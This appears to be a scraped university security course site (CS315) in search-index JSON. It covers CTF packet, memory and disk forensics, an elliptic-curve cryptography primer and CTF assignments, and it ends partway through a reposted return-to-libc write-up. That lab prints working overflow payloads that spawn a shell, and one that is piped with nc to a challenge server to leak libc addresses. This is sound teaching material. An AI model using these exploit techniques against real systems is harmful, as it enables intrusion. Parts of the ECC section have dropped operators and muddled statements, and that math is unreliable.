Tshark is a command-line tool for Wireshark. Wireshark builds the metadata of traffic packets in memory, so Tshark is useful for analyzing huge traffic packets and can significantly improve performance. Tshark's command-line parameters are very complex, and the details of how to use them can be found at https://www.wireshark.org/ docs/man-pages/tshark.html for details. An example of filtering FTP protocols in the same traffic packets as the previous section is shown in Figure 9-3-3.
"},{"location":"CS315/Lab%201%20Packet%20Sniffing%20and%20Wireshark/#traffic-analysis-common-operations","title":"Traffic analysis common operations","text":"Wireshark's \"Statistics\" menu allows you to view the general status of traffic packets, such as which protocols are included, which IP addresses are involved in the session, and so on. Figure 9-3-4 and Figure 9-3-5 show the protocol hierarchy statistics and session statistics, respectively. These two functions can help us quickly locate the point that needs to be analyzed, because the traffic analysis in CTF often has a lot of interference traffic, and the traffic required by the questioner is usually obtained in the LAN or a specific few hosts, by viewing the traffic information can greatly save the time to find the traffic that needs to be analyzed.
The most widely used transport layer protocol in computer networks is TCP, which is a connection-oriented protocol that allows both transmitting parties to ensure transparent transmission and only care about the data they get. However, in the actual transmission process, TCP traffic can be sliced into many small datagrams due to the MTU, making it inconvenient to analyze. To address this situation, Wireshark provides the ability to trace TCP streams. By selecting a datagram and right-clicking on \"Trace TCP Stream\", you can obtain all the data transmitted by both parties in the TCP session for further analysis, see Figure 9-3-6.
For common protocols such as HTTP, Wireshark provides an export object function (in the \"File\" menu) that makes it easy to extract information such as files sent during transmission. Figure 9-3-7 shows the export function for HTTP objects.
Sometimes the traffic packets that need to be analyzed are almost always encrypted traffic for the SSL protocol, and if the SSL key log can be obtained from another location in the topic, then Wireshark can be used to attempt to decrypt the traffic. The Wireshark parsable SSL key log file is shown below.
After obtaining this form of key log, we can open Wireshark's preferences, select the SSL protocol in the \"Protocol\" option, and then fill in the path to the key file in \"(Pre)-Master-Secret Log Filename\" (see Figure 9-3-8), and then decrypt some of the SSL traffic.
Due to the complexity of network protocols, there are far more places where data can be hidden than just the normal transmission flow. Therefore, when analyzing network traffic packets, if no breakthrough can be found from the data transmitted in the normal way, then it is necessary to focus on some protocols that look abnormal in the traffic packets and carefully examine the fields to observe whether there is any imprint of hidden data. Figure 9-3-9 and Figure 9-3-10 are examples of using the length of ICMP datagram to hide information in a foreign CTF competition.
"},{"location":"CS315/Lab%201%20Packet%20Sniffing%20and%20Wireshark/#analysis-of-special-kinds-of-traffic-packages","title":"Analysis of special kinds of traffic packages","text":"There are some special kinds of traffic analysis in CTF, and the traffic package provided in the title is not network traffic, but other types of traffic. This section will introduce the analysis method of USB keyboard and mouse traffic.
USB traffic packets in Wireshark are shown in Figure 9-3-11. In CTF, we only need to focus on USB Capture Data, that is, the acquired USB data, according to the form of data can determine the different USB devices. Detailed documentation about USB data can be obtained from the official USB website, such as https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf and https://usb.org/sites/default/files/ documents/hid1_11.pdf.
The USB keyboard datagram has 8 bytes each time, and the specific meaning is shown in Table 9-3-1.
Since it is usually pressed one key at a time during normal use, you only need to pay attention to the key combination status of byte 0 and the key code of byte 2. See Table 9-3-2 for the meaning of the 8-bit key combination in byte 0.
The USB mouse datagram is 3 bytes, see Table 9-3-3 for the specific meaning.
The partial mapping table for the keyboard keys is shown in Figure 9-3-12 (from the official USB documentation), the full mapping table can be found on the official USB website.
For a USB traffic packet, the Tshark tool can easily obtain the pure data fields: tshark-r filename.pcapng-T fields-e usb.capdata After obtaining the data, according to the previous meaning, using languages such as Python, you can write scripts to restore the information and get it for further analysis.
"},{"location":"CS315/Lab%201%20Packet%20Sniffing%20and%20Wireshark/#summary-of-traffic-packet-analysis","title":"Summary of traffic packet analysis","text":"In CTF, there are a variety of traffic packet analysis topics, and the above is just a brief introduction to the common test points and basic solution ideas. If you encounter other types of questions, the reader also needs to be familiar with the corresponding protocols to analyze where information may be hidden.
"},{"location":"CS315/Lab%201%20Packet%20Sniffing%20and%20Wireshark/#memory-image-forensics","title":"Memory Image Forensics","text":""},{"location":"CS315/Lab%201%20Packet%20Sniffing%20and%20Wireshark/#introduction-to-memory-image-forensics","title":"Introduction to memory image forensics","text":"Memory forensics questions in CTF take the form of providing a complete memory image or a core dump file, and participants should analyze information such as the processes being executed in memory to solve what they need. Memory forensics often works in conjunction with other forensics, and a common framework is Volatility, an open source professional memory forensics tool from the Volatility Open Source Foundation that supports memory image analysis for Windows, Linux, and other operating systems.
"},{"location":"CS315/Lab%201%20Packet%20Sniffing%20and%20Wireshark/#common-operations-for-memory-image-forensics","title":"Common operations for memory image forensics","text":"When we get a memory image, we first need to determine the basic information of the image, the most important of which is to determine what kind of operating system the image is. volatility tool provides the basic analysis of the image, using the imageinfo command to get the image information, see Figure 9-3-13.
Once we have the image information, we can use a specific configuration file to analyze the image. Volatility provides many commands for analyzing processes, such as pstree, psscan, pslist, etc. These commands vary in strength and output. Figure 9-3-14 shows the process information obtained using psscan.
In addition, the filescan command can scan open files, as shown in Figure 9-3-15. When a suspicious file or process in memory is identified, the relevant data can be exported using the dumpfile and memdump commands, and then the exported data can be binary analyzed. the Screenshot function can obtain a screenshot of the system at this moment, see Figure 9-3-16.
For different systems, Volatility supports many unique features, such as support for getting text directly from an open Notepad process under Windows, or Dumping out information such as password hash values contained in memory about Windows logins.
Volatility supports third-party plugins, and there are many developers who have developed powerful plugins such as https://github.com/superponible/volatility-plugins. When the commands that come with the framework don't meet your needs, look for a good plugin.
"},{"location":"CS315/Lab%201%20Packet%20Sniffing%20and%20Wireshark/#memory-image-forensics-summary","title":"Memory Image Forensics Summary","text":"For memory forensics topics, we can easily solve them if we are familiar with the common commands of Volatility tools and can analyze the extracted files in combination with other types of knowledge (e.g. image steganography, zip analysis, etc.).
"},{"location":"CS315/Lab%201%20Packet%20Sniffing%20and%20Wireshark/#disk-image-forensics","title":"Disk image forensics","text":""},{"location":"CS315/Lab%201%20Packet%20Sniffing%20and%20Wireshark/#introduction-to-disk-image-forensics","title":"Introduction to disk image forensics","text":"Disk forensics questions in CTF typically provide a disk image in an unknown format, and participants need to analyze the usage traces left by the user to find hidden data. Since disk forensics is a file-based analysis, it often appears alongside other directions that examine forensics and are closer to real forensics work. Compared to memory forensics, disk forensics is generally more informative, although it is relatively easy to locate specific usage traces of users because it contains more information. Disk forensics generally does not require specialized software, unless it is a disk image in some special format, such as VMWare's VMDK or Encase's EWF.
"},{"location":"CS315/Lab%201%20Packet%20Sniffing%20and%20Wireshark/#common-operations-for-disk-image-forensics","title":"Common operations for disk image forensics","text":"Similar to memory forensics, the first step in disk forensics is to determine the type of disk and mount it, which can be done with the file command that comes with UNIX/Linux, see Figure 9-3-17.
After confirming the type, you can use the \"fdisk-l\" command to view the volume information on the disk and get the type, offset, etc. of each volume, see Figure 9-3-18. Then you can mount the disk image using the \"mount\" command. mount The format of the command is as follows.
For local file mounts, the \"loop\" item is included, and if it is a multi-partition image as described above, then the \"offset\" item should be added and its value specified. If the file system is not natively supported by the system, then you need to install the relevant driver, such as NTFS-3g driver for mounting NTFS file system under Linux. The successfully mounted folder is shown in Figure 9-3-19.
Once the image is mounted, the questioner must have operated on the file system when creating the image, so you can follow the common forensic steps to analyze the file system usage traces. For example, the \".bash_history\" file in the Linux file system and the Recent folder under Windows will have a history of operations on the file system, see Figure 9-3-20.
Once the suspicious file is obtained, it can be extracted for binary analysis. In most cases, the suspicious file itself will use other information hiding techniques, such as steganography.
There are also disk image forensic type questions that focus on the unique features of certain file systems, such as inode recovery in EXT series file systems, FAT table recovery in FAT series file systems, snapshot features and nanosecond timestamp features of APFS file systems, etc. When you encounter a bottleneck in the analysis of a file, you may want to understand the characteristics of the file system itself to find a breakthrough.
"},{"location":"CS315/Lab%201%20Packet%20Sniffing%20and%20Wireshark/#disk-image-forensics-summary","title":"Disk image forensics summary","text":"Disk forensics questions are actually similar to memory forensics questions and are often combined with compressed package analysis, image steganography, and other types of questions. As long as the participant is familiar with common images, can determine the type of image and mount or extract the file, and with a certain understanding of the file system, he or she can successfully solve hard disk forensics related questions.
"},{"location":"CS315/Lab%201%20Packet%20Sniffing%20and%20Wireshark/#summary","title":"Summary","text":"With the continuous development of CTF, Misc type questions examine a wider and wider range of knowledge points, and become more and more difficult compared to the simple picture steganography of a few years ago. Due to the limitation of space, this chapter only briefly introduces several sets of questions that appear more frequently in the CTF. As written in the introduction of this chapter, in high quality competitions, in addition to the set of questions introduced in this chapter, participants often encounter many novel questions, which either examine the depth and breadth of the participants' knowledge, or examine the participants' ability to learn quickly. These require the participants to have certain computer expertise, as well as the need to search and read a lot of information with the help of search engines, and to solve the topics through rapid learning.
"},{"location":"CS315/Lab%201%20Packet%20Sniffing%20and%20Wireshark/#assignment","title":"Assignment","text":""},{"location":"CS315/Lab%201%20Packet%20Sniffing%20and%20Wireshark/#1-easy-sign-in","title":"(1-Easy) Sign in","text":"What's a CTF? Join our QQ Group to get the flag!
"},{"location":"CS315/Lab%201%20Packet%20Sniffing%20and%20Wireshark/#2-medium-http-code-206","title":"(2-Medium) HTTP code 206","text":"Flag? Flag!
Flag format: flag{xxxxxxxx}
Download attachment: fenxi.pcapng
"},{"location":"CS315/Lab%201%20Packet%20Sniffing%20and%20Wireshark/#3-hard-time-based-sql-injection","title":"(3-Hard) Time-based SQL Injection","text":"In fact this isn't a Web challenge.
Flag format: flag{xxxxxxxx}
Download attachment: sql.pcapng
"},{"location":"CS315/Lab%2010%20Public%20Key%20Cryptography/","title":"Lab 10: Public Key Cryptography","text":"Reference https://ithelp.ithome.com.tw/articles/10251031 by \u7f8a\u5c0f\u54a9
Today we are going to introduce ECC, which is also a security mechanism based on mathematical difficulties.
Since ECC is originally a difficult algorithm, the ECC process and principles in the text are streamlined with many steps, algorithms, and some terminology in the mathematical field
Geometric addition, Algebraic addition, Scalar multiplication, Abelian group... These are not easy to understand in a few words, but require some basic concepts.
In general, I think it is a simple and concise way to explain
I think it is really difficult to explain ECC concisely.
"},{"location":"CS315/Lab%2010%20Public%20Key%20Cryptography/#ecc-introduction","title":"ECC Introduction","text":"Elliptic Curve Cryptography (ECC) is a public key cryptography algorithm based on the mathematics of elliptic curves. The use of elliptic curves in cryptography was independently proposed by Neal Koblitz and Victor Miller in 1985.
Another advantage of ECC is that it can define bilinear mappings between groups, based on Weil pairs or Tate pairs; bilinear mappings have found numerous applications in cryptography, such as identity-based encryption.
"},{"location":"CS315/Lab%2010%20Public%20Key%20Cryptography/#concept-term-definition","title":"Concept / Term Definition","text":""},{"location":"CS315/Lab%2010%20Public%20Key%20Cryptography/#elliptic-curve","title":"Elliptic Curve","text":"An elliptic curve is a plane curve defined by an equation of the form:
where a and b are real numbers. This class is called the Weierstrass equation
"},{"location":"CS315/Lab%2010%20Public%20Key%20Cryptography/#elliptic-curve-rule-group-rule","title":"Elliptic Curve Rule (Group Rule)","text":"Addition
Draw a straight line through two points P and Q on the curve and find the intersection of the straight line and the elliptic curve -R
The point of intersection is defined as P Q. The point of intersection is defined as the symmetric position of the x-axis. As shown in the figure below: PQ = R
Multiplicative definition (two-fold operation)
The above method does not explain the case where P P, i.e., two points coincide. Therefore, in this case, the tangent of the elliptic curve at point P, the intersection with the elliptic curve, and the point of the intersection about the symmetric position of the x-axis are defined as P P, i.e., 2P, which is a doubling operation
Infinity point
If we add A and -A, the straight line through A and -A is parallel to the y-axis, and the straight line intersects the elliptic curve at the infinity point.
"},{"location":"CS315/Lab%2010%20Public%20Key%20Cryptography/#definition-of-elliptic-curve","title":"Definition of Elliptic Curve","text":"According to the definition of the above properties, we can organize
The equation of elliptic curve is y^2=x^3+ax+b
This curve is exactly symmetric to the x-axis (y=0) of this straight line
The parameters a and b must satisfy 4a^3+27b^2\u22600 to ensure that there are no repeated roots and have a unique solution!
The additive unit element O is an infinite point and satisfies O = -O
This additive unit element also needs to satisfy: a point on the elliptic curve that is common to three points whose union is O
Any point on the curve is reflected by the x-axis (y=0) and remains the same curve (peculiar symmetry)
Any line not perpendicular to the curve will have at most three points of intersection
Strange symmetry
The elliptic curve is drawn. It has several interesting properties.
One of them is horizontal symmetry. Any point on the curve can be reflected on the x-axis and maintain the same curve. An even more interesting property is that any non-perpendicular line will intersect the curve in at most three places.
The elliptic curve is compared to a game of batting, where the ball is clicked from point A to point B. When it hits a point on the curve, the ball is then moved to the next point, When it hits a point on the curve, it bounces back to point C on the other side (above or below the x-axis).
First imagine that the ball moves in two points called \"dot\"
A dot B = C A dot A = B A dot C = D ... ... ...
There are only two points here (called: the initial point & final point)
The initial point P is tapped n times by itself (as Private Key) to get a final point Q (as Public Key)
Even if you know the \"initial point\" and \"final point\"
It is very, very difficult to find n!
"},{"location":"CS315/Lab%2010%20Public%20Key%20Cryptography/#finite-domain-galois-domain-and-discrete-logarithm","title":"Finite domain (Galois domain) and discrete logarithm","text":"elliptic curves are continuous and easily extrapolated, and therefore, are not suitable for encryption.
Therefore, we must make the elliptic curve a discrete point
The elliptic curve is defined on a finite field, and then the integer field GF(p) modulo the prime number is used
A finite field GF(p) is a set of integers consisting of 0, 1, 2 ......p-1 with p elements, given a certain prime number p. It is defined by adding, subtracting, multiplying, and dividing.
Suppose the elliptic curve is y\u00b2 = x\u00b3+x+1, which is written as follows when it is over a finite field GF(23)
y\u00b2 \u2261 x\u00b3+x+1 (mod 23)
The elliptic curve is no longer smooth at this point, but with some discontinuous points, as shown in the figure below. For example, the point (1,7), 7\u00b2 \u2261 1\u00b3 1 1 \u2261 3 (mod 23). In this way, there are also points as follows.
\u3000\u3000(0,1) (0,22)\n\u3000\u3000(1,7) (1,16)\n\u3000\u3000(3,10) (3,13)\n\u3000\u3000(4,0)\n
This will make the original curve look continuous
Converting to finite fields
Then you can play the game of Greedy Snake (?)
The line from point A to point B is not perpendicular to the curved EC line and will only have at most three intersections!
When the collision reaches the third intersection, the third intersection must find a symmetrical point C on the x-axis of the EC curve (above or below)
"},{"location":"CS315/Lab%2010%20Public%20Key%20Cryptography/#eccs-simple-definition-and-operation-process","title":"ECC's simple definition and operation process","text":""},{"location":"CS315/Lab%2010%20Public%20Key%20Cryptography/#calculation-example","title":"Calculation Example","text":"Set up a finite field Fp
after the selection of the curve and the calculation of the given parameters
The curve is known at two points P(3,10) and Q(9,7) on E23(1,1), find (1) -P, (2) P+Q, (3) 2P
If at a point P on the elliptic curve, there exists the smallest positive integer n such that the number multiplier nP = O\u221e , then n is called the order of P
If n does not exist, then P is of infinite order
Therefore, after selecting n, we can calculate 27P = -P
So 28P=O \u221e The order of P is 28
These points make a cyclic Abelian group, where the generating element is P and the order is 28
and select the basis points from it and start calculating
Consider K=kG , where K and G are points on the elliptic curve Ep(a,b), n is the order of G (nG=O\u221e), and k is an integer smaller than n.
Then given k and G, it is easy to calculate K according to the law of addition
But conversely, given k and G, it is very difficult to find k
where k and K are the private key and public key respectively.
This is the flow of elliptic curve calculation
An elliptic curve {p,a,b,G,n,h}
Set the private key and public key as k and K respectively, i.e., K = kG, where G is the G point.
Public key encryption.
Choose a random number r to generate a ciphertext C from the message M, which is a point pair, i.e.
C = {rG, M rK}, where K is the public key
Private key decryption.
M rK - k(rG) = M r(kG) - k(rG) = M
where k and K are the private key and public key respectively.
It is very difficult to find x for the known G and xG on the elliptic curve, which is the discrete logarithm problem on the elliptic curve. Here x is the private key and xG is the public key.
"},{"location":"CS315/Lab%2010%20Public%20Key%20Cryptography/#principle-of-elliptic-curve-signature-algorithm-ecdsa","title":"Principle of Elliptic Curve Signature Algorithm ECDSA","text":"Set the private key and public key as k and K respectively, i.e., K = kG, where G is the G point.
Private key signature.
Public key verification signature.
The principle is as follows.
hG/s xK/s = hG/s x(kG)/s = (h xk)G/s
= r(h xk)G / (h kx) = rG
"},{"location":"CS315/Lab%2011%20Return-to-libc%20%26%20Return%20Oriented%20Programming/","title":"Lab 11: Return-to-libc & Return Oriented Programming","text":"Reference https://duroz.github.io/post/247ctf-pwn-non-executable-stack/
By Daniel Uroz
In this post, we\u2019ll cover how to exploit a stack-based buffer overflow, this time with the stack marked as non-executable. We first detail how to manually exploit the binary locally and then in the remote server. In the end, we\u2019ll use the Python library pwntools to speed up exploit development.
"},{"location":"CS315/Lab%2011%20Return-to-libc%20%26%20Return%20Oriented%20Programming/#challenge","title":"Challenge","text":"This time, 247/CTF gives us a binary called non_executable_stack
with the following description:
There are no hidden flag functions in this binary. Can you make your own without executing from the stack?
And here is an example of execution flow:
$ ./non_executable_stack \nEnter the secret password:\nkk\nIncorrect secret password!\n
It\u2019s an ELF 32-bit as in previous pwn challenges, but this time with NX bit enables to make stack segment (and any other) writable but not executable:
$ checksec non_executable_stack\n[*] '/home/urzu/247ctf/pwn/non_executable_stack'\n Arch: i386-32-little\n RELRO: Partial RELRO\n Stack: No canary found\n NX: NX enabled\n PIE: No PIE (0x8048000)\n
This checksec
version is the one coming with pwntools (you can install it with python3 -m pip install pwntools
), there is also a Bash script with the same functionality.
If we analyze the binary, we can quickly spot the use of the gets
function to retrieve the password, so we can overflow the buffer due to no outbounds checking of the function:
$ r2 non_executable_stack \n-- Virtual machines are great, but you lose the ability to kick the hardware.\n[0x080483c0]> aa\n[x] Analyze all flags starting with sym. and entry0 (aa) \n[0x080483c0]> s sym.chall \n[0x080484d6]> pdf\n ; CALL XREF from main @ 0x804857f\n\u250c 103: sym.chall ();\n\u2502 ; var int32_t var_28h @ ebp-0x28\n\u2502 ; var int32_t var_4h @ ebp-0x4\n\u2502 0x080484d6 55 push ebp\n\u2502 0x080484d7 89e5 mov ebp, esp\n\u2502 0x080484d9 53 push ebx\n\u2502 0x080484da 83ec24 sub esp, 0x24\n[... redacted ...]\n\u2502 0x080484eb 8d45d8 lea eax, [var_28h]\n\u2502 0x080484ee 50 push eax\n\u2502 0x080484ef e88cfeffff call sym.imp.gets ; char *gets(char *s) <--- buffer overflow\n[... redacted ...]\n\u2502 \u2502 0x08048528 8d833de6ffff lea eax, [ebx - 0x19c3]\n\u2502 \u2502 0x0804852e 50 push eax\n\u2502 \u2502 0x0804852f e85cfeffff call sym.imp.puts ; int puts(const char *s)\n\u2502 \u2502 0x08048534 83c410 add esp, 0x10\n\u2502 \u2502 ; CODE XREF from sym.chall @ 0x8048523\n\u2502 \u2514\u2500\u2500> 0x08048537 90 nop\n\u2502 0x08048538 8b5dfc mov ebx, dword [var_4h]\n\u2502 0x0804853b c9 leave\n\u2514 0x0804853c c3 ret\n[0x080484d6]>\n
This problem is that, whereas in previous challenges we could execute our payload directly into the stack, this time NX bit is preventing us to do so. Still, we can overwrite the return based stored in the stack to control the program flow, so why don\u2019t use the code already residing in executable segments for our purpose? This is the main idea behind Return-to-libc attack and Return-oriented programming.
"},{"location":"CS315/Lab%2011%20Return-to-libc%20%26%20Return%20Oriented%20Programming/#return-to-libc","title":"Return-to-libc","text":"This attack relies on using code marked as executable contained in the libc
shared library. libc
provides a runtime environment to C programs, so it is usually loaded into the memory of most processes. In this binary, we can see that it will effectively be loaded thanks to:
$ ldd non_executable_stack \nlinux-gate.so.1 (0xf7fd2000)\nlibc.so.6 => /lib32/libc.so.6 (0xf7dd4000)\n/lib/ld-linux.so.2 (0xf7fd4000)\n
libc
provides a lot of functions like printf
, scanf
, fopen
, and so on. Thus, if we can execute the system
function (which executes a shell command) with the /bin/sh
parameter, we\u2019ll be able to prompt an interactive shell.
We\u2019re going to develop a local version of the exploit and, to make it easier, we\u2019re going to deactivate ASLR protection of our system:
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space\n0\n
Firstly, we can obtain the necessary padding to overwrite the return address by placing a breakpoint just before the ret
instruction (0x0804853c
in the code above) and seeing where is our input:
$ r2 -d non_executable_stack\nProcess with PID 2381 started...\n= attach 2381 2381\nbin.baddr 0x08048000\nUsing 0x8048000\nasm.bits 32\nglibc.fc_offset = 0x00148\n -- Most likely your core dump fell into a blackhole, can't see it.\n[0xf7fd50b0]> aa\n[x] Analyze all flags starting with sym. and entry0 (aa)\n[0xf7fd50b0]> db 0x0804853c\n[0xf7fd50b0]> dc\nEnter the secret password:\nkk\nIncorrect secret password!\nhit breakpoint at: 804853c\n[0x0804853c]> px -0x2c @ esp\n- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF\n0xffffd1d0 6b6b 00ff 9096 fef7 90f8 faf7 00a0 0408 kk..............\n0xffffd1e0 00e0 faf7 00e0 faf7 08d2 ffff 7c85 0408 ............|...\n0xffffd1f0 5886 0408 00a0 0408 08d2 ffff X...........\n[0x0804853c]>\n
Our input starts 0x2c
before, so this is the amount of padding we need to provide and, then, the return address of the function we want to execute (system
in this case). In addition, thanks to deactivating ASLR, libc
will be loaded in the same base address during multiple executions (0xf7dd4000
in the example):
[0x0804853c]> dmm\n0x08048000 0x08049000 /home/urzu/247ctf/pwn/non_executable_stack\n0xf7dd4000 0xf7ded000 /usr/lib32/libc-2.28.so\n0xf7fd4000 0xf7fd5000 /usr/lib32/ld-2.28.so\n[0x0804853c]> ood\nPTRACE_CONT: No such process\nchild received signal 9\nProcess with PID 2337 started...\n= attach 2337 2337\nFile dbg:///home/urzu/247ctf/pwn/non_executable_stack reopened in read-write mode\n2337\n[0xf7fd50b0]> dc\nEnter the secret password:\nkk\nIncorrect secret password!\n[0xf7fd3069]> dmm\n0x08048000 0x08049000 /home/urzu/247ctf/pwn/non_executable_stack\n0xf7dd4000 0xf7ded000 /usr/lib32/libc-2.28.so\n0xf7fd4000 0xf7fd5000 /usr/lib32/ld-2.28.so\n[0xf7fd3069]>\n
So, our payload would look something like this (the dummy address is explained a bit below):
[0x2c padding] + [system address] + [dummy address] + [/bin/sh address]\n
We can obtain the function RVA with the following:
$ rabin2 -s /usr/lib32/libc-2.28.so | grep -w system\n1525 0x0003e9e0 0x0003e9e0 WEAK FUNC 55 system\n
And the string offset (like an RVA) inside the library thanks to:
$ strings -t x /usr/lib32/libc-2.28.so | grep /bin/sh\n17eaaa /bin/sh\n
As we already know that libc
will be loaded in 0xf7dd4000
address, we can add those RVA to the base address to obtain the following payload:
[0x2c padding] + [0xf7e129e0] + [dummy address] + [0xf7f52aaa]\n
We can check that we effectively calculate the absolute address right with radare2:
[0xf7f3b000]> dmi libc system\n257 0x0012a2c0 0xf7efe2c0 GLOBAL FUNC 102 svcerr_systemerr\n658 0x0003e9e0 0xf7e129e0 GLOBAL FUNC 55 __libc_system\n1525 0x0003e9e0 0xf7e129e0 WEAK FUNC 55 system\n[0xf7f3b000]> / /bin/sh\nSearching 7 bytes in [0xf7f3b000-0xf7fab000]\nhits: 1\n0xf7f52aaa hit5_0 .b/strtod_l.c-c/bin/shexit 0canonica.\n
If we try our exploit, we can effectively obtain an interactive shell (the cat command is to maintain program stdin open and feed non_executable_stack with our commands):
$ (python2 -c 'print(\"A\"*0x2c + \"\\xe0\\x29\\xe1\\xf7\" + \"A\"*4 + \"\\xaa\\x2a\\xf5\\xf7\")' && cat) | ./non_executable_stack \nEnter the secret password:\nIncorrect secret password!\nwhoami\nurzu\n
"},{"location":"CS315/Lab%2011%20Return-to-libc%20%26%20Return%20Oriented%20Programming/#stack-frame","title":"Stack frame","text":"So, why do we need a dummy address between our function call and the parameter? This is due to how stack frames are constructed during function calls. We\u2019ll see it with a simple C example:
#include <stdio.h>\n\nint main(int argc, char** argv) {\n puts(\"Hello World!\");\n return 0; \n}\n
Okay, so if we analyze the compiled binary (gcc -o test.out -m32 -no-pie test.c
) with radare2, we'll see that the parameter \"Hello World!\"
is passed into the stack at line 0x08049184
:
\u2502 0x0804917e 8d9008e0ffff lea edx, [eax - 0x1ff8]\n\u2502 0x08049184 52 push edx\n\u2502 0x08049185 89c3 mov ebx, eax\n\u2502 0x08049187 e8a4feffff call sym.imp.puts ; int puts(const char *s)\n\u2502 0x0804918c 83c410 add esp, 0x10\n
After executing 0x08049184
, the stack looks like this:
| ... |\n|-----------------|\n| @\"Hello World!\" |\n|-----------------|\n| ... |\n
Now, the function call at 0x08049187
will push the return address into the stack, so after the puts
function ends doing its magic, the execution flow of our program will continue as if nothing happened. This means that when puts
start to execute, it will see the stack as this:
| ... |\n|-----------------|\n| 0x0804918c | <--- return address of the caller\n|-----------------|\n| @\"Hello World!\" |\n|-----------------|\n| ... |\n
This return address is exactly our dummy address from our payload. So, in our payload, after the shell finished executing, the binary will probably crash as the program will change execution flow to 0x41414141
and very likely nothing valid is there. Therefore, we can change our dummy address with the address of the exit function (calculated the same way that system
function above) to produce a clean exit of the program:
[0x2c padding] + [0xf7e129e0] + [0xf7e03a60] + [0xf7f52aaa]\n
"},{"location":"CS315/Lab%2011%20Return-to-libc%20%26%20Return%20Oriented%20Programming/#remote-exploit","title":"Remote exploit","text":"Well, now we know how to exploit the binary locally, but we need to consider two aspects to exploit it in the server:
libc
is installed.To overcome the two limitations, we can use a libc
function leakage.
You can read more in detail in this blog, but we only need to know a general idea. When a dynamic linked binary is using an external function (like libc
puts
), your code can\u2019t reference an absolute address of the library because this will change after each execution (due to ASLR) and it won\u2019t be portable (different version of libc
will have that function in different locations).
So, to overcome this issue, your code reference to another section within your binary, the Procedure Linkage Table (PLT). This section is responsible for either triggering linker resolution of the target function (due to lazy binding) or jumping to the target function if it was already resolved. The latter is stored in the Global Offset Table (GOT) section, which is the actual table of offsets as filled in by the linker for external symbols.
You can see how non_executable_stack
reference to the PLT in the code:
[0x080484d6]> pdf\n[... redacted ...]\n\u2502 \u2502 0x08048528 8d833de6ffff lea eax, [ebx - 0x19c3]\n\u2502 \u2502 0x0804852e 50 push eax\n\u2502 \u2502 0x0804852f e85cfeffff call sym.imp.puts ; int puts(const char *s)\n[... redacted ...]\n
If we see the content of that address, we can see that there is another jump:
[0x080484d6]> s sym.imp.puts\n[0x08048390]> pd 1\n ; CALL XREFS from sym.chall @ 0x804851b, 0x804852f\n ; CALL XREF from main @ 0x8048577\n\u250c 6: int sym.imp.puts (const char *s);\n\u2502 bp: 0 (vars 0, args 0)\n\u2502 sp: 0 (vars 0, args 0)\n\u2502 rg: 0 (vars 0, args 0)\n\u2514 0x08048390 ff2518a00408 jmp dword [reloc.puts] ; 0x804a018\n
If we go to that address, we\u2019ll see that there is another reference to the binary itself, this is the PLT stub responsible to resolve the address of the external symbol, so puts haven\u2019t been invoked yet:
[0x08048390]> s reloc.puts\n[0x0804a018]> pd 1\n ; DATA XREF from sym.imp.puts @ 0x8048390\n ;-- reloc.puts:\n 0x0804a018 .dword 0x08048396 ; RELOC 32 puts\n
If we continue execution to force puts
resolution, now we can see that now the GOT is pointing to the actual offset in memory:
[0x0804a018]> dc\nEnter the secret password:\nkk\nIncorrect secret password!\n[0xf7fd3069]> s -\n[0x0804a018]> pd 1\n ; DATA XREF from sym.imp.puts @ 0x8048390\n ;-- reloc.puts:\n 0x0804a018 .dword 0xf7e3b0a0 ; RELOC 32 puts\n[0x0804a018]> dmi libc puts\n[... redacted ...]\n458 0x000690a0 0xf7e3b0a0 WEAK FUNC 416 puts\n[... redacted ...]\n[0x0804a018]>\n
"},{"location":"CS315/Lab%2011%20Return-to-libc%20%26%20Return%20Oriented%20Programming/#libc-leakage","title":"libc
leakage","text":"With all of this in mind, we can construct our payload the same way as before, but instead, to reference the absolute address of the functions, we can use the address of the PLT known functions. We can use this technique only because the binary isn\u2019t a Position Independent Executable (PIE) and we can reference the absolute value of the PLT as we know where the binary will be mapped during execution (base address 0x8048000
).
So, in this case, our payload will be like this:
[0x2c padding] + [puts@plt] + [dummy address] + [puts@got]\n
This time, we\u2019re calling the puts@plt
at 0x08048390
with the puts@got
at 0x0804a018
as a parameter (which it\u2019ll be sent to us as a string):
[0x2c padding] + [0x08048390] + [dummy address] + [0x0804a018]\n
If we try our newly crafted payload:
$ python2 -c 'print(\"A\"*0x2c + \"\\x90\\x83\\x04\\x08\" + \"A\"*4 + \"\\x18\\xa0\\x04\\x08\")' | nc ad520e503a0ec4e0.247ctf.com 50341 | xxd\n00000000: 456e 7465 7220 7468 6520 7365 6372 6574 Enter the secret\n00000010: 2070 6173 7377 6f72 643a 0a49 6e63 6f72 password:.Incor\n00000020: 7265 6374 2073 6563 7265 7420 7061 7373 rect secret pass\n00000030: 776f 7264 210a 60d3 dbf7 90ed d6f7 0a word!.`........\n
So, now we know that puts
in the server is placed at 0xf7dbd360
address. With this information, we can search a libc database to download this specific version (libc6-i386_2.27-3ubuntu1_amd64
). In case that address matches different versions, we can leak other addresses as gets
or strcmp
to limit the results.
If we run again our Python command with the payload, we\u2019ll see that this time puts
address is different, so we can confirm that the remote server has ALSR activated.
The main problem here is that we need to know the base address of the libc
library to construct our payload. We can obtain it thanks to the puts
address leakage:
[libc base adddress] = [puts address leaked] - [libc6-i386_2.27-3ubuntu1_amd64.puts RVA]\n
But if we provide a dummy address to the payload, the remote program will crash, and in the next execution, the base address will be different. So, we can provide the main
address to continue execution and interact again with the program and the vulnerable gets function to overwrite again the return address, this time with the first payload we described earlier, but instead of referencing the absolute addresses, we can use them as:
[function VA] = [libc base address] + [function RVA]\n
Be aware that the second padding of the payload may change, so you need to recalculate it again, but we\u2019re lucky enough and this time the padding is the same. With all of this in mind, here is what our final script would look like:
